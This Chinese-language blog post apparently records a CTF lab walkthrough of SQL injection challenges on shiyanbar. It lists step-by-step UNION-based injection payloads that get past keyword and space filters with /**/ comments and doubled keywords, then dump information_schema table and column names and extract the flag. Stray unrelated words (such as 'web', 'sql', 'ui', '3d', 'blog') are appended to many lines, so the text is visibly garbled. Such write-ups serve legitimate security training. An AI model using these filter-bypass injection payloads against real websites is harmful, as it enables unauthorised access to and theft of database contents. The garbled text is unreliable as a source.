接上面一篇博客。web
實驗吧簡單的sql注入1sql
題目鏈接 http://ctf5.shiyanbar.com/423/web/測試
一樣,直接輸入 1加個但引號,結果下面有返回錯誤, , 有錯,因此估計這裏應該是要閉合,字符行注入,可是這個標題,到底過濾了什麼,目前我還不知道過濾了什麼,因此先搞一下。。ui
輸入 1' and 1=1# 按理說應該是返回正常,結果返回了一個錯誤 3d
‘#‘ 被過濾了,那好 還有其餘姿式,輸入 1’ and '1'='1orm
結果也錯,怎麼回事? 換or試一試 用 1’ or '1'='1blog
出現全部數據,可是and不行,因此估計是and被過濾了 看看是否是被過濾了 雙寫一下 1' andand '1'='1博客
輸入兩個and 結果只出現一個and ,肯定and是被過濾了,並且後面那個空格也過濾了io
沒事,這裏想到用/**/繞過過濾,用uniontable
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
說老實話我不知道爲何這裏的database()用不起,大神指點一下.
接下來爆代表
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
獲得表名 flag
接下來爆字段名
1'/**/union/**/select/**/column_name/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag
可是不行 被報錯
把information_schema.coluinformation_schema.columnsmns 給我過濾了,這裏用雙寫,可是雙寫發現也會被過濾,能夠啊,那我把一部分寫在中間
1'/**/union/**/select/**/column_name/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag
結果仍是報錯,多是起那面column_name也過濾了 ,這裏把column_name也雙寫
1'/**/union/**/select/**/column_nacolumn_nameme/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag
這裏出現字段名flag。
接下來直接 1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
拿到flag
第二道題 用前兩句同樣能夠拿到庫名和代表,只是第三句爆字段名的時候不用雙寫
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag
也能夠拿到代表和字段名 也是flag 和flag
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
也能夠拿到答案
關於簡單的sql注入3,我暫時還不會,fuzz測試還沒學會,過兩天會更新,必定會學會